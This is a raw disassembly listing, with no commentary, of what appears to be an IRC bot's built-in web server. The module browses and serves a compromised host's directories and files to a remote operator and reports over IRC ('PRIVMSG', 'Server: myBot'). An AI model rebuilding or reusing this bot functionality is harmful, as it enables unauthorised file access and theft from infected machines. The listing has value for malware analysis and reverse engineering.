sub_40FAD6+15Fj cmp [edx], eax jz short loc_40FC37 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FC2B loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj ; sub_40FAD6+157j cmp ecx, ebx jnz short loc_40FC54 cmp ebx, 40h jnb short loc_40FC54 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC54: ; CODE XREF: sub_40FAD6+163j ; sub_40FAD6+168j cmp eax, [ebp+var_8] jbe loc_40FEA7 mov [ebp+var_8], eax jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FC65: ; CODE XREF: sub_40FAD6+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BF70 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB9EC test eax, eax jg short loc_40FCF8 push esi call dword_4CBA6C xor ecx, ecx test ebx, ebx jbe loc_40FEA7 lea eax, [ebp+var_134] loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj cmp [eax], esi jz short loc_40FCC8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FCB7 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCEC lea eax, [ebp+ecx*4+var_134] loc_40FCD6: ; CODE XREF: sub_40FAD6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCD6 loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BF70 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B9C0 add esp, 10h test eax, eax jbe loc_40FEA7 loc_40FD26: ; CODE XREF: sub_40FAD6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FDCB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40FD9F lea eax, [ebp+var_18F0] push eax call sub_41B9C0 cmp eax, 5 pop ecx jbe short loc_40FD9F mov eax, offset asc_42CDC0 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41CAD4 push eax lea eax, [ebp+var_23C] push eax call sub_41C890 add esp, 10h jmp short loc_40FDB6 ; --------------------------------------------------------------------------- loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj ; sub_40FAD6+291j lea eax, [ebp+var_18F0] push offset asc_4349EC ; "\r\n" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40FDEA loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FDCB: ; CODE XREF: sub_40FAD6+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B9C0 cmp [ebp+arg_0], eax pop ecx jb loc_40FD26 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE34 lea eax, [ebp+var_134] loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FE07 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDF6 jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FAD6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FE2B lea eax, [ebp+ecx*4+var_134] loc_40FE15: ; CODE XREF: sub_40FAD6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FE15 loc_40FE2B: ; CODE XREF: sub_40FAD6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE34: ; CODE XREF: sub_40FAD6+318j mov esi, [ebp+var_4] loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj ; sub_40FAD6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FEA0 lea eax, [ebp+var_360] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FEA0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CBA70 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4100B4 add esp, 14h jmp short loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FEA0: ; CODE XREF: sub_40FAD6+369j ; sub_40FAD6+38Fj push esi call dword_4CBA6C loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj ; sub_40FAD6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBE3 jmp loc_40FBAD ; --------------------------------------------------------------------------- loc_40FEBC: ; CODE XREF: sub_40FAD6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj ; sub_40FAD6+92j ... call dword_4CB968 push eax lea eax, [ebp+var_8F0] push offset unk_4349C4 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FF07 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409869 add esp, 14h loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj lea eax, [ebp+var_8F0] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_254] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop pop edi pop esi pop ebx sub_40FAD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C500 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41C266 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40FF97 push offset aTextHtml ; "text/html" jmp short loc_40FF9C ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40FF31+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40FF9C: ; CODE XREF: sub_40FF31+64j lea eax, [ebp+var_9C] push eax call sub_41C266 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2760000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 2750000h nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_410015 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 24h jmp short loc_410036 ; --------------------------------------------------------------------------- loc_410015: ; CODE XREF: sub_40FF31+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 28h loc_410036: ; CODE XREF: sub_40FF31+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1654] push eax loc_41004C: ; DATA XREF: ___:004385A8o ; ___:004385BCo push [ebp+var_44C] call dword_4CBA24 cmp [ebp+var_A4], edi jnz short loc_410076 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109F1 pop ecx pop ecx jmp short loc_410093 ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_40FF31+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_41036B add esp, 10h loc_410093: ; CODE XREF: sub_40FF31+143j push [ebp+var_44C] call dword_4CBA6C push [ebp+var_B4] call sub_40B6D6 pop ecx push edi nop call near ptr 26E0000h pop edi pop esi sub_40FF31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BF70 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100EA push eax push offset aS_3 ; "\\%s" jmp short loc_4100F3 ; --------------------------------------------------------------------------- loc_4100EA: ; CODE XREF: sub_4100B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4100F3: ; CODE XREF: sub_4100B4+34j lea eax, [ebp+var_10C] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B9C0 test eax, eax pop ecx jbe short loc_41018E mov [ebp+arg_8], 2 loc_41011E: ; CODE XREF: sub_4100B4+D8j lea eax, [ebp+var_10C] push eax call sub_41B9C0 cmp [ebp+arg_8], eax pop ecx jnb short loc_41015E cmp [ebp+esi+var_10C], 25h jnz short loc_41015E cmp [ebp+esi+var_10B], 32h jnz short loc_41015E cmp [ebp+esi+var_10A], 30h jnz short loc_41015E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410178 ; --------------------------------------------------------------------------- loc_41015E: ; CODE XREF: sub_4100B4+7Aj ; sub_4100B4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41016E push 5Ch pop eax jmp short loc_410171 ; --------------------------------------------------------------------------- loc_41016E: ; CODE XREF: sub_4100B4+B3j movsx eax, al loc_410171: ; CODE XREF: sub_4100B4+B8j mov [ebp+ebx+var_210], al loc_410178: ; CODE XREF: sub_4100B4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B9C0 cmp esi, eax pop ecx jb short loc_41011E loc_41018E: ; CODE XREF: sub_4100B4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429AC8 push eax call sub_41C266 lea eax, [ebp+var_314] push offset asc_42A080 ; "\n" push eax call sub_41CAD4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2680D81h push 1 cmp eax, 10h pop esi jz short loc_4101DF cmp eax, 0FFFFFFFFh jnz short loc_4101E2 push [ebp+arg_0] jmp loc_410262 ; --------------------------------------------------------------------------- loc_4101DF: ; CODE XREF: sub_4100B4+11Cj mov [ebp+var_4], esi loc_4101E2: ; CODE XREF: sub_4100B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101EF mov [ebp+var_4], esi loc_4101EF: ; CODE XREF: sub_4100B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_41026D cmp [ebp+arg_C], edi jz short loc_410261 lea eax, [ebp+var_314] push offset asc_434C78 ; "*" push eax call sub_41C8A0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41C266 lea eax, [ebp+var_210] push eax call sub_410AAE add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C266 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4102BC ; --------------------------------------------------------------------------- loc_410261: ; CODE XREF: sub_4100B4+152j push ebx loc_410262: ; CODE XREF: sub_4100B4+126j call dword_4CBA6C jmp loc_410364 ; --------------------------------------------------------------------------- loc_41026D: ; CODE XREF: sub_4100B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 272081Ah mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4102BC lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C266 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 276095Dh push esi mov [ebp+var_330], eax nop call near ptr 266076Ah loc_4102BC: ; CODE XREF: sub_4100B4+1ABj ; sub_4100B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_434C44 push eax call sub_41C266 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3BA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E914[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FF31 push edi push edi call near ptr 2680089h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_410336 loc_410324: ; CODE XREF: sub_4100B4+280j cmp [ebp+var_318], edi jnz short loc_410364 push 5 nop call near ptr 2680000h jmp short loc_410324 ; --------------------------------------------------------------------------- loc_410336: ; CODE XREF: sub_4100B4+26Ej push ebx call dword_4CBA6C call near ptr 2680880h nop push eax lea eax, [ebp+var_8C4] push offset unk_434C0C push eax call sub_41C266 lea eax, [ebp+var_8C4] push eax call sub_415D38 add esp, 10h loc_410364: ; CODE XREF: sub_4100B4+1B4j ; sub_4100B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4100B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p ; sub_40FF31+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BF70 mov edi, [ebp+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41CAD4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4103CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C360 add esp, 14h jmp loc_4104C9 ; --------------------------------------------------------------------------- loc_4103CA: ; CODE XREF: sub_41036B+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4104AF call sub_41B9C0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi call sub_41B9C0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 0Ch jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_41036B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h loc_4104C9: ; CODE XREF: sub_41036B+5Aj ; sub_41036B+142j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_C], ebx jz short loc_410564 push [ebp+arg_C] call sub_41B9C0 cmp eax, 2 pop ecx jbe short loc_410564 push [ebp+arg_C] call sub_41B9C0 sub eax, 3 pop ecx jz short loc_410515 loc_410509: ; CODE XREF: sub_41036B+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_410515 dec eax jnz short loc_410509 loc_410515: ; CODE XREF: sub_41036B+19Cj ; sub_41036B+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BFD0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 loc_410564: ; CODE XREF: sub_41036B+180j ; sub_41036B+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 2790000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2780000h test eax, eax jz loc_410954 mov edi, 1FFh loc_410590: ; CODE XREF: sub_41036B+5E3j cmp [ebp+var_388], ebx jz loc_41093C lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 27704F1h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2770000h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_410605 mov ecx, offset aAm ; "AM" loc_410605: ; CODE XREF: sub_41036B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_410611 sub eax, 0Ch loc_410611: ; CODE XREF: sub_41036B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C266 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4107B4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410685 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_4108FD ; --------------------------------------------------------------------------- loc_410685: ; CODE XREF: sub_41036B+2E0j cmp [ebp+arg_C], ebx jz loc_41076F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410725 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_41072A ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: sub_41036B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_41072A: ; CODE XREF: sub_41036B+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108FE ; --------------------------------------------------------------------------- loc_41076F: ; CODE XREF: sub_41036B+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 14h jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107B4: ; CODE XREF: sub_41036B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107F3 push ebx push [ebp+var_368] call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4107DF: ; CODE XREF: sub_41036B+577j lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 1Ch jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107F3: ; CODE XREF: sub_41036B+44Fj cmp [ebp+arg_C], ebx jz loc_4108E7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429AC8 push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410893 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410898 ; --------------------------------------------------------------------------- loc_410893: ; CODE XREF: sub_41036B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410898: ; CODE XREF: sub_41036B+526j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4107DF ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_41036B+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_4108FD: ; CODE XREF: sub_41036B+315j push esi loc_4108FE: ; CODE XREF: sub_41036B+3FFj lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 18h loc_41090D: ; CODE XREF: sub_41036B+444j ; sub_41036B+483j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_8], ebx jz short loc_41093C push 7D0h call near ptr 2680000h nop loc_41093C: ; CODE XREF: sub_41036B+22Bj ; sub_41036B+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 2780000h nop test eax, eax jnz loc_410590 loc_410954: ; CODE XREF: sub_41036B+21Aj push [ebp+arg_0] call near ptr 25E0000h nop cmp [ebp+arg_8], ebx jz short loc_410997 mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C266 add esp, 14h jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_41036B+5F5j cmp [ebp+arg_C], ebx jz short loc_4109B1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C266 pop ecx pop ecx jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_4109B1: ; CODE XREF: sub_41036B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C266 add esp, 10h loc_4109CB: ; CODE XREF: sub_41036B+62Aj ; sub_41036B+644j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 pop edi pop esi xor eax, eax pop ebx leave retn sub_41036B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 272081Ah mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410AA9 push esi push ebx nop call near ptr 276095Dh cmp eax, esi mov [ebp+arg_4], eax jz short loc_410AA2 loc_410A36: ; CODE XREF: sub_4109F1+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BF70 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A53 mov edi, [ebp+arg_4] loc_410A53: ; CODE XREF: sub_4109F1+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 27A0000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2700000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_410A9D call dword_4CB968 cmp eax, 2733h jnz short loc_410AA2 xor eax, eax loc_410A9D: ; CODE XREF: sub_4109F1+9Bj sub [ebp+arg_4], eax jnz short loc_410A36 loc_410AA2: ; CODE XREF: sub_4109F1+43j ; sub_4109F1+A8j push ebx nop call near ptr 266076Ah 